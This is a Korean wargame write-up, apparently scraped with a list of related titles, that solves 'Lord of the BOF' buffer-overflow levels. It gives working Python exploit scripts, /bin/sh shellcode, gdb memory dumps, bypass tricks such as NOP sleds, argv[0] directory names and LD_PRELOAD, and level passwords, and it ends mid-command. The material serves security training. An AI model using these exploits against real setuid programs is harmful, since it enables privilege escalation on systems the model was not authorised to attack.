Contents 1. 목적 풀이 gate

Similar documents
PowerPoint Template

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

Smashing the Lord Of the Bof

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

hlogin2

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

Return-to-libc

Deok9_Exploit Technique

hlogin7

강의10

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

History

PowerPoint 프레젠테이션

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

PowerPoint 프레젠테이션

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

RTL

2009년 상반기 사업계획

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

6주차.key

/chroot/lib/ /chroot/etc/

PowerPoint 프레젠테이션

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

제1장 Unix란 무엇인가?

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

vi 사용법

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Contents 1. 목적 풀이 Level

Microsoft Word - building the win32 shellcode 01.doc

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Microsoft Word - readme.doc

제1장 Unix란 무엇인가?

simple ROP Exploit

Sena Technologies, Inc. HelloDevice Super 1.1.0

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

Microsoft PowerPoint - lab14.pptx

<52544CC0BB20BEC6B4C2B0A12E687770>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

제1장 Unix란 무엇인가?

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

chap7.key

컴파일러

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

untitled

슬라이드 1

Microsoft PowerPoint - ch07 - 포인터 pm0415

BufferOverflow on Solaris Sparc

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft PowerPoint - 06-CompSys-16-Socket.ppt

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

2009년 상반기 사업계획

Microsoft Word - MSOffice_WPS_analysis.doc

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Fedora Core 3,4,5 stack overflow.docx

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

슬라이드 1

SYN flooding

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

Microsoft Word - FunctionCall

untitled

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

3. 다음장에나오는 sigprocmask 함수의설명을참고하여다음프로그램의출력물과그출력물이화면이표시되는시점을예측하세요. ( 힌트 : 각줄이표시되는시점은다음 6 가지중하나. (1) 프로그램수행직후, (2) 5 초후 (3) 10 초후 (4) 15 #include <signa

Microsoft PowerPoint - chap10-함수의활용.pptx

학번 : 이름 1. 다음프로그램실행결과를예측하시오. $./a.out & [1] 7216 $ kill -USR $ kill -USR 아래학생이작성한쓰레드코드의문제점을설명하시오. void* thread_main() { pthread_mutex_t

vi 사용법

Microsoft PowerPoint - 13 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 2.ppt

ABC 11장

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770>

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

chap 5: Trees

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

SRC PLUS 제어기 MANUAL

歯9장.PDF

various tricks for remote linux exploits v3.pptx

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

ronny report( wooyaggo, hkpco ).hwp

Microsoft Word - KPMC-400,401 SW 사용 설명서

Microsoft PowerPoint - polling.pptx

Transcription:

Lord of Bof 풀이 Moomoo/badass4514@gmail.com 1

Contents 1. 목적 ---------------------------------------------------------------- 3 2. 풀이 gate ---------------------------------------------------------------- 4 gremlin ---------------------------------------------------------------- 7 cobolt ---------------------------------------------------------------- 9 goblin --------------------------------------------------------------- 11 orc --------------------------------------------------------------- 14 wolfman --------------------------------------------------------------- 16 darkelf --------------------------------------------------------------- 18 orge --------------------------------------------------------------- 21 troll --------------------------------------------------------------- 25 vampire --------------------------------------------------------------- 27 skeleton --------------------------------------------------------------- 30 golem --------------------------------------------------------------- 33 darkknight --------------------------------------------------------------- 35 bugbear --------------------------------------------------------------- 37 giant --------------------------------------------------------------- 41 assassin --------------------------------------------------------------- 44 zombie_assassin ------------------------------------------------------------ 47 succubus --------------------------------------------------------------- 51 nightmare --------------------------------------------------------------- 54 xavius --------------------------------------------------------------- 58 death_knight --------------------------------------------------------------- 62 2

1. 목적 풀었던걸다시푸는행위가기본적인실력을늘리는한가지방법이라고생각합니다. 앞으로의 원활한복습을위해서문서를남겨봅니다. 또한대부분의풀이는파이썬을이용하여풀어보도록 해보겠습니다.. //LOB 란 Lord of the BOF 의약자로기본적인오버플로우문제를모아둔워게임입니다. 아주취약 한프로그램을풀면풀수록보완된문제를보게되는데매번공격벡터를바꿔가며공격해야합 니다. 접속할때 bash2 를입력을해줘야합니다. 왜냐하면고전커널이기때문에 bash 의버전이낮고 또한 bash1 은 \xff 를잘못처리하기때문입니다. 쉘코드의경우에 \xff 가들어가는경우가많은데 이때처리를못하기때문입니다. [gate@localhost gate]$ cat /etc/*release* Red Hat Linux release 6.2 (Zoot) LOB 의환경입니다. 레드햇 6.2 버전은아무방어기법이없어오버플로우를공부하기아주좋습 니다. *** 문제를풀기전쉘코드를직접만들고 ftz 를풀어보는것을추천해드립니다.*** 3

2. 풀이 gate / gate /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) char buffer[256]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 소스를보면아주간단한오버플로우문제인걸알수있습니다. 디버깅을통해더자세히알아보기전에 w권한이없어디버깅이불가능합니다. 그래서 cp로복사를합니다. 복사할때글자수는똑같이해야하는게중요합니다. [gate@localhost gate]$ cp gremlin gremli1 이런식으로하는이유는최대한메모리구조를같게하기위해서입니다. [gate@localhost gate]$ gdb -q gremli1 (gdb) disas main <<<<<<<<<<<<<main 함수를디스어셈블 ( 중략 ) 0x8048466 <main+54>: call 0x8048370 <strcpy> <<<<overflow 에취약한함수 0x804846b <main+59>: add $0x8,%esp ( 하략 ) 4

strcpy 는제한없이입력값을받아들이기때문에오버플로우에취약한함수입니다. 이부분바로 앞에 main+59 에브레이크포인트를걸어서버퍼의시작주소와 ret 까지의거리를구하겠습니다. (gdb) b *main+59 Breakpoint 1 at 0x804846b (gdb) r `python -c 'print "\x90"*200'` Starting program: /home/gate/gremli1 `python -c 'print "\x90"*200'` Breakpoint 1, 0x804846b in main () (gdb) x/32x $esp 0xbffff940: 0xbffff948 0xbffffba3 0x90909090 0x90909090 0xbffff950: 0x90909090 0x90909090 0x90909090 0x90909090 ( 중략 ) (gdb) p $ebp+4-0xbffff948 $ebp+4 = ret ; 0xbffff948 = &buffer $1 = 260 일단 ebp까지의거리는 256인것을알수있습니다. 고전커널이라그런지더미값이없습니다. 바로쉘코드를올려서공격을해보겠습니다. #boom.py #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target = "/home/gate/gremlin" ret=0xbffff94c limit=260 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload="\x90"*200+shellcode+"\x90"*(limit-200-len(shellcode))+p(ret) os.execv(target,[target,payload]) 5

os 모듈은 os에서할수있는일을할수있게도와주는모듈이고 struct 모듈은비트연산을해주는모듈입니다. 일단람다함수 ( 축약함수 ) 를이용해서 p에들어가는데이터를문자열로바꿔주는코드를짭니다. 그후공격할타겟, 변경할 ret의주소 (buffer의주소), 그리고 buffer에서 ret까지의거리를변수에저장해서공격하는코드입니다. [gate@localhost gate]$ python boom.py 1?h//shh/bin???L bash$ id uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ my-pass euid = 501 hello bof world bash$ 버퍼가충분히커서간단하게풀었습니다. 지금은이렇게간단히풀지만앞으로많이어려워질 겁니다. 파이팅넣고달려보겠습니다. 6

gremlin / hello bof world /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) char buffer[16]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 저번과같지만작은버퍼값입니다. 그렇다면환경변수에쉘코드를넣은후그주소로흐름을조작하면권한을얻을수있습니다. 환경변수를추가한다음환경변수의주소를구해보겠습니다.. [gremlin@localhost gremlin]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [gremlin@localhost gremlin]$ cd /tmp [gremlin@localhost /tmp]$ cat > moomoo.c int main() printf("moomoo : 0x%x\n",getenv("moomoo")); [gremlin@localhost /tmp]$ gcc -o moomoo moomoo.c [gremlin@localhost /tmp]$ chmod 777 moomoo [gremlin@localhost gremlin]$ /tmp/moomoo moomoo : 0xbffffdbd 7

getenv() 함수는입력된문자열의환경변수의주소를리턴합니다. 그리고 chmod 777 moomoo 를 한이유는앞으로다른계정으로도 moomoo 환경변수를사용하기때문입니다. 구해야할정보는 다얻었으니공격해보겠습니다.. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target = "/home/gremlin/cobolt" ret = 0xbffffdbd+0x20 limit = 20 payload="\x90"*limit+p(ret) os.execv(target,[target,payload]) [gremlin@localhost gremlin]$ python boom.py ÿ bash$ id uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed 환경변수의주소값은오차가있기때문에 \x90 을넉넉히넣었고조금만주소값을더해주면환 경변수에접근가능합니다. 8

cobolt / hacking exposed /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() char buffer[16]; gets(buffer); printf("%s\n", buffer); 내부입력값으로문제를풀라는의도입니다. 바로해보겠습니다. [cobolt@localhost cobolt]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [cobolt@localhost cobolt]$ /tmp/moomoo moomoo : 0xbffffdce 파이썬코드를짜보겠습니다 9

[#!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/cobolt/goblin" ret=0xbffffdce+0x20 limit=20 payload="\x90"*limit+p(ret) print payload 내부입력을위해서실행이아닌출력만되게짜봤고바로공격들어가겠습니다. [cobolt@localhost cobolt]$ (python boom.py;cat)./goblin? id uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) my-pass euid = 503 hackers proof 10

goblin / hackers proof /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 에그헌터주석을잘보면환경변수를모조리 0 으로만들고 argv[1] 의 48 번째글자가 \bf 여야만 강제종료를피할수있습니다.. 이를우회해보겠습니다. 11

함수에필로그직전에브포를건후 $esp 상황 (gdb) r `python -c 'print "\x90"*44+"\xff\xff\xff\xbf"'` Starting program: /home/goblin/or1 `python -c 'print "\x90"*44+"\xff\xff\xff\xbf"'` Breakpoint 1, 0x80485c2 in main () (gdb) x/124x $esp ( 중략 ) //argv1 주소 0xbffffc2c: 0x90003172 0x90909090 0x90909090 0x90909090 0xbffffc3c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc4c: 0x90909090 0x90909090 0x90909090 0xff909090 0xbffffc5c: 0x00bfffff 0x00000000 0x00000000 0x00000000 버퍼의주소에공격을하면 nop slide 가안되고무조건딱맞춰야만되길래여기서는 argv[1] 의 주소를이용해서 nop 슬라이드게되도록할것이고계속주소가오차가나서부르트포스를이용 한공격을하겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) up= lambda x : unpack("<l",x)[0] target="/home/goblin/orc" ret=0xbffffc30 limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" for i in range(0xff,0,-1): payload=shellcode+"\x90"*(limit-len(shellcode))+chr(i)+"\xfc\xff\xbf" pid = os.fork() if pid==0: 12

print hex(up(chr(i)+"\xfc\xff\xbf")) os.execv(target,[target,payload]) else: os.waitpid(pid,0) 결과 0xBFFFFC1EL يز h//shh/bin 1 0xBFFFFC1DL - يز h//shh/bin 1 bash$ id uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin) bash$ my-pass euid = 504 cantata 13

orc / cantata /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); 14

buffer hunter 주석을부분을잘보면버퍼부분을아예초기화시킵니다. 저번풀던데로풀면 됩니다만이번에는스택을무지막지테러하듯넣어서풀어보겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/orc/wolfman" ret=0xbffeffff limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload="\x90"*44+p(ret)+"\x90"*99999+shellcode os.execv(target,[target,payload]) nop 를 ret 뒤쪽에 9999 개를넣은뒤적당한주소를넣어주시면쉘코드까지미끄러지듯이동합니다. 스택의제한이없다면이런식으로문제를풀수있습니다. [orc@localhost orc]$ python boom.py yyþ 1?h//shh/bin??? bash$ id uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc) bash$ my-pass euid = 505 love eyuna 15

wolfman / love eyuna /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); 16

check the length of argument 주석을보면 48 글자초과라면종료를하는부분이생겼습니다. 지 금까지의방어기법을정리해보면환경변수 X, buffer 초기화, 버퍼 48 글자제한까지있습니다. 그래 서 argv[2] 를쓰면됩니다. 제한이있다면딴걸쓰면됩니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/wolfman/darkelf" ret=0xbffeffff limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload1="\x90"*limit+p(ret) payload2="\x90"*99999+shellcode os.execv(target,[target,payload1,payload2]) 결과 [wolfman@localhost wolfman]$ python boom.py ÿÿþ bash$ id uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman) bash$ my-pass euid = 506 kernel crashed bash$ 17

darkelf / kernel crashed /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // here is changed! if(strlen(argv[0])!= 77) printf("argv[0] error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); 18

strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); here is changed 주석을보면 argv[0] 가 77 글자가아니면종료가되는부분이추가되었습니다. argv[0] 을심볼릭링크나 ///////////////// //////darkelf 이런식으로 argv[0] 을늘리면됩니다. 이런 문제는 ///// 를채워넣는게더편하니이방법으로풀겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target1="home/darkelf/orge" target0="/"*(77-len(target1)) target=target0+target1 ret=0xbffeffff limit=44 #target 필터링우회 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload1="\x90"*limit+p(ret) payload2="\x90"*99999+shellcode os.execv(target,[target,payload1,payload2]) 19

결과 [darkelf@localhost darkelf]$ python boom.py ÿÿþ bash$ id uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf) bash$ my-pass euid = 507 timewalker 20

orge / timewalker /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; // here is changed if(argc!= 2) printf("argc must be two!\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 21

// buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); one more 주석을보면 argv[1] 도 0 으로초기화시켜버립니다. buffer 도 0 으로초기화되니쓸 수있는공간은없어보입니다. argv 도애초에 2 개로한정했습니다. 그렇다면어떻게할까요? 방법은 argv[0] 에있습니다. 심볼릭링크로 argv[0] 을변환하여풀어내는것입니다. argv[0] 을쉘코드로바꾼다면흐름조작을통해쉘을실행시킬수있습니다. 하지만제가쓸려고하는쉘코드는 \2f가들어있습니다. 이는 / 인데심볼릭링크를하려고하면도중에 / 가삽입돼만들어지지않습니다. 그래서 / 을포함에서한번에만들기위해 mkdir p명령어를이용해서만들어보겠습니다. -p 명령어는자식디렉터리까지한번에만들수있는명령어입니다. 즉, / 가들어가도상관이없 다는것입니다. [orge@localhost orge]$ mkdir -p `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` ----- \x2f 3개 [orge@localhost orge]$ ls trol1 troll troll.c????????????????????????????????????????????????????????????????????????????????????????????? h 1??????? 22

디렉터리를포함해서실행하려면 /../../../ 을포함해야합니다. [orge@localhost orge]$ gdb -q./`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"/../../../trol1"'` (gdb) b *main+314 <<<<<<< 함수에필로그바로전에브레이크 (gdb) x/124x $esp ( 중략 ) 0xbffffa60: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa80: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa90: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffaa0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffab0: 0x90909090 0x90909090 0x90909090 0x90909090 **argv 부분에 \x90\x90\x90\x90 부분을발견했습니다. 이부분을이용해서공격해보겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" target="/home/orge/"+"\x90"*200+shellcode+"/../../../troll" ret=0xbffffa60 limit=44 payload="\x90"*44 + p(ret) os.execv(target,[target,payload]) 23

[orge@localhost orge]$ python boom.py ` bash$ id uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge) bash$ my-pass euid = 508 aspirin bash$ 24

troll / aspirin /* */ The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // here is changed! if(argv[1][46] == '\xff') printf("but it's not forever\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 25

here is changed! 부분을보면앞으로 ret 를덮을때는 \x??\x??\xff\bf 면안됩니다. 약간소스 를더설명해보면 argv 개수 2 개제한, \xff\bf (X) 으로축소되었습니다. 버퍼제한이없으니 \x90 를 99999 넣어저번처럼스택을밀어내서공격하면되겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/troll/vampire" ret=0xbffeffff limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload="\x90"*44+p(ret)+"\x90"*99999+shellcode os.execv(target,[target,payload]) 결과 [troll@localhost troll]$ python boom.py يز h//shh/binÿÿþ 1 bash$ id uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll) bash$ my-pass euid = 509 music world bash$ 26

vampire / music world /* */ The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i, saved_argc; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); 27

// argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); 소슬설명을하자면 argv 2개로제한, 환경변수 (X), argv[1] 48번째글자 \bf, argv[1] 글자 48로제한, buffer 0으로초기화, argv 전체 0으로초기화즉, argv[0] 부터 argv[n] 까지 0으로초기화입니다. 이번문제가요구하는것은스택의최상단에 argv[0] 의문자가있다는것을아느냐모르느냐를요구하는것입니다. \xbfffffc를 NULL로정하고그앞에 argv[0] 의문자열이있습니다. 이걸알았으면저번에푼 troll과동일한방법을이용해서풀면됩니다. 다른점은 ret를 0xbffffffc 이전부분에하는것이다릅니다. [vampire@localhost vampire]$ mkdir -p `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [vampire@localhost vampire]$ gdb -q `python -c 'print "./"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8 9\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"/../../../skeleto1"'` ( mkdir p 로쉘코드디렉터리만든후 gdb로분석 ) (gdb) x/2s 0xbfffff5c 0xbfffff5c: "/home/vampire/./", '\220' <repeats 100 times>, h//shh/bin\211 1 " " 013 200/../../../skeleto1 \ يز 211 \ <-argv[0] 0xbffffffc: "" <-NULL 28

필요한정보는다모았습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) shellcoe="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\ x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" target="/home/vampire/"+"\x90"*200+shellcoe+"/../../../skeleton" ret=0xbfffff5c+30 limit=44 payload="\x90"*44+p(ret) os.execv(target,[target,payload]) 결과 [vampire@localhost vampire]$ python boom.py zÿÿ bash$ id uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire) bash$ my-pass euid = 510 shellcoder bash$ 29

skeleton / shellcoder /* */ The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); 30

소스설명을하면 buffer 부터 ret전까지 0으로초기화 ret다음부터 0xbfffffff까지 0으로초기화합니다. 쓸수있는공간은 ret부분과 buffer이전주소를사용할수있습니다. 스택의아래공간을보면힙, bss, data, code이렇게있는데힙과스택사이에공유라이브러리영역이있습니다. 공유라이브러리영역에쉘코드를올리면되는데어떻게하면될까요? 이는 LD_PRELOAD를이용하면됩니다. LD_PRELOAD란프로그램이공유라이브러리를로딩할때 LD_PRELOAD가설정돼있다면설정된라이브러리를먼저실행하는환경변수입니다. 즉, 자동으로후킹을해준다는것입니다. LD_PRELOAD에실행할경로를넣을건데 mkdir p로쉘코드디렉터리를만들고라이브러리를만들겠습니다. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x 31\xd2\xb0\x0b\xcd\x80 사용할쉘코드입니다. mkdir p 로만들때마지막 \x2f뒷부분을제외하고만들어야합니다. 왜냐하면완료된라이브러리이름이마지막 \x2f뒷부분이기때문입니다. [skeleton@localhost skeleton]$ cp golem gole1 [skeleton@localhost skeleton]$ mkdir -p `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"'`[skeleton@localhost [skeleton@localhost skeleton]$ cat > boom.c void boom() [skeleton@localhost skeleton]$ gcc boom.c -fpic -shared -o `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [skeleton@localhost skeleton]$ export LD_PRELOAD=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 